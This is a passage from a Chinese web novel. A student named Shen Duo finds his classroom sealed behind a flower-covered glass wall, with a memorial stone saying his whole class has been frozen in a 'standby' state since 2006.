他就这样匆匆跑出教室,一道透明玻璃墙竖在离门不远的位置,玻璃墙从前到后,从左到右,将他们的教室完完全全倒扣其中,让沈铎想起暑期参观过的博物馆,玻璃柜里陈放的古老文物。 为了隔绝污染,阻止人们触摸,才会用这种方式隔离…… 沈铎有点想笑了,人在荒谬的时候就很想笑。 他们是什么需要保护的老古董吗? 这里是什么需要参观的地点吗? 他现在看什么都不意外了,破罐子破摔,心说来吧,来吧,还有什么,全都来吧! 这道玻璃墙的下方,满满当当填满鲜花,加上无处不在的寂静,沈铎感觉这里不像教室,而是一个追悼默哀现场。 原本教室门的旁边,玻璃墙的尽头,伫立着一方黑色碑石,鲜花几乎要将纪念碑淹没。他走过去,粗暴地扫开覆盖在字迹上的花瓣,为首的第一行字冲入眼帘: 【2006年C市春风中学高二(3)班全体学生待机地】 沈铎继续恍惚地看下去。 【2006年9月2日午2点35分,春风中学高二(3)班的全体学生因不明原因进入‘停滞’状态。专家解释,待机为人类无法行动、无思无感、凝滞在那一刻的状态。对外界触碰不响应,形同休眠,故而暂称为待机】 【学生们进入“待机”状态后,一系列生理机能即刻停止,但却难以解释地维持着存活状态,然而无论外界如何呼唤,各位学生都无法做出回应。他们保持着当天14:35:那一秒形态停滞于此……已有13年】 【在此呼吁各方人士,希冀各位学者和专家能早日攻破“待机”难题,将46位学生完好无损地唤醒,重新带回这个世界】 沈铎看向最新的时间落款。 【2019年9月2日由遇难家属集资捐款重新立碑】 2019年。 13年过去了。